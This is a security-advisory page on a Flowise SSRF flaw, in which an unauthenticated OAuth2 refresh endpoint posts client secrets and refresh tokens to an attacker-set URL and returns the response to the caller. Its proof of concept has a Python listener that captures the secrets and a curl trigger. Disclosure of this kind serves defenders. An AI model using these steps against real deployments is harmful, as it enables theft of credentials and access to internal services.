High

Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration

  • Disclosed: 04.08.2026
  • Updated: 11.10.2026 10:22

Summary

The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.

Details

The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.

Confirmed in runtime code:

  1. Unauthenticated route via whitelist

    • dist/utils/constants.js includes:
      • /api/v1/oauth2-credential/callback
      • /api/v1/oauth2-credential/refresh
    • dist/index.js auth middleware uses:
      • const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
    • Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
  2. User-controlled SSRF target

    • In refresh handler (dist/routes/oauth2/index.js):
      • loads credential by credentialId
      • decrypts credential data
      • reads accessTokenUrl
      • executes:
        • axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...)
    • No secureAxiosRequest() / denylist wrapper is used in this path.
  3. Non-blind response reflection

    • Response returns:
      • tokenInfo: { ...tokenData, ... }
    • tokenData is the attacker/internal server response body.
  4. Secrets sent to SSRF target

    • Request body includes:
      • client_id
      • client_secret
      • grant_type=refresh_token
      • refresh_token

PoC

Environment used

  • flowiseai/flowise:latest container (localhost:3000)
  • Attacker server (localhost:18081) returning JSON

Step 1: Start attacker server

bash
python3 -u - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class H(BaseHTTPRequestHandler):
    def do_POST(self):
        l = int(self.headers.get('Content-Length','0'))
        b = self.rfile.read(l).decode('utf-8', errors='replace')
        print('REQUEST_PATH', self.path, flush=True)
        print('REQUEST_BODY', b, flush=True)
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echo_len': len(b)}).encode())
    def log_message(self, fmt, *args):
        pass

HTTPServer(('0.0.0.0', 18081), H).serve_forever()
PY

Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)

In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.

Resulting credential ID used in runtime validation:

  • 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef

Step 3: Trigger refresh without auth

bash
curl -i -X POST \
  http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \
  -H 'Content-Type: application/json' \
  -d '{}'

Observed response:

js
{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef",
  "tokenInfo": {
    "ok": true,
    "source": "attacker-server",
    "echo_len": 76,
    "has_new_refresh_token": false
  }
}

Attacker server logs captured:

REQUEST_PATH /token
REQUEST_BODY client_id=cid2&client_secret=csec2&grant_type=refresh_token&refresh_token=r2

This confirms:

  • unauthenticated trigger,
  • server-side POST to attacker-controlled URL,
  • exfiltration of OAuth2 secrets in POST body,
  • full response reflection to client (tokenInfo).

Impact

  • Vulnerability class: Non-blind SSRF + sensitive secret exfiltration.
  • Who can set up attack: Any authenticated user who can create/update OAuth2 credentials.
  • Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted).
  • Technical impact:
    • outbound SSRF to attacker/internal targets,
    • direct leak of client_secret and refresh_token to SSRF target,
    • direct response read from target via API response (tokenInfo).
  • Deployment impact:
    • cloud/internal network reachability can expose metadata/internal services depending on egress controls.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package flowise < 3.1.3 3.1.3

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-639
Platform
npm
Package
flowise
Disclosed
04.08.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-r745-8hwv-h473 - CC BY 4.0

Vulnerability history: flowise

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (114) in the archive
Total entries
114
First → latest
04.2024 10.2026
Without a fix
16
Exploited in attacks
0

Severity breakdown

  • Critical 28
  • High 62
  • Medium 24

Disclosures per year

  1. 2024: 11
  2. 2025: 22
  3. 2026: 81
Severity:
  1. Critical CVE-2026-69259 < 3.1.3 3.1.3
  2. Critical CVE-2026-69256 < 3.1.3 3.1.3
  3. Critical CVE-2026-69253 < 3.1.3 3.1.3
  4. Critical CVE-2026-69251 < 3.1.3 3.1.3
  5. Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration this entry
    High CVE-2026-69250 < 3.1.3 3.1.3
  6. High · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  7. High CVE-2026-46443 < 3.1.2 3.1.2
  8. High CVE-2026-56274 < 3.1.2 3.1.2
  9. High · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  10. High · 9.8 CVE-2026-41276 < 3.1.0 3.1.0
  11. High CVE-2026-41274 < 3.1.0 3.1.0
  12. High · 7.5 CVE-2026-41275 < 3.1.0 3.1.0
  13. High · 7.1 CVE-2026-41271 < 3.1.0 3.1.0
  14. High · 7.1 CVE-2026-41272 < 3.1.0 3.1.0
  15. High · 7.1 CVE-2026-41269 < 3.1.0 3.1.0
  16. High · 7.7 CVE-2026-41268 < 3.1.0 3.1.0
  17. High · 7.5 CVE-2026-41266 < 3.1.0 3.1.0
  18. Critical · 8.8 CVE-2026-41137 < 3.1.0 3.1.0
  19. Critical · 9.9 CVE-2026-40933 < 3.1.0 3.1.0
  20. High CVE-2026-30824 < 3.0.13 3.0.13
  21. High · 7.7 CVE-2026-30822 < 3.0.13 3.0.13
  22. High CVE-2026-30821 < 3.0.13 3.0.13
  23. Critical · 9.9 CVE-2025-61913 < 3.0.8, < 3.0.8 3.0.8
  24. High · 8.3 CVE-2025-61687 >= 3.0.7, < 3.0.8 3.0.8
  25. Critical · 9.8 CVE-2025-55346 <= 2.2.7-patch.1 no fix
  26. High CVE-2025-71336 >= 2.2.7-patch.1, < 3.0.6 3.0.6
  27. Critical · 9.8 CVE-2025-71334 >= 2.2.8, < 3.0.6 3.0.6
  28. Critical · 9.1 CVE-2025-71324 >= 3.0.5, < 3.0.6 3.0.6
  29. Critical · 10.0 CVE-2025-59528 >= 3.0.5, < 3.0.6 3.0.6
  30. High · 7.5 CVE-2025-59527 >= 3.0.5, < 3.0.6 3.0.6
  31. Critical · 9.1 CVE-2025-57164 >= 3.0.5, < 3.0.6 3.0.6
Show more (10) Showing 80 of 90

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.